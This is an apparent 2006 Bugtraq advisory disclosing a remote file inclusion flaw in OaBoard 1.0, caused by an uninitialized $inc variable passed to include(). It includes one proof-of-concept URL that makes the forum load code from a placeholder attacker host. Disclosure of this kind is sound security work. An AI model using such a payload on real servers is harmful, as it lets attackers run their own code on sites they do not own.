[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
OaBoard 1.0 Remote File inclusion
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: OaBoard 1.0 Remote File inclusion
- From: hessamx@xxxxxxxxxxx
- Date: 30 May 2006 08:20:21 -0000
OaBoard version 1.x have remote file inclusion .
Variables $inc isn't initialized in the include()
http://host/oaboard/forum.php?inc=http://evil_script/
Hessam-x (www.hessamx.net)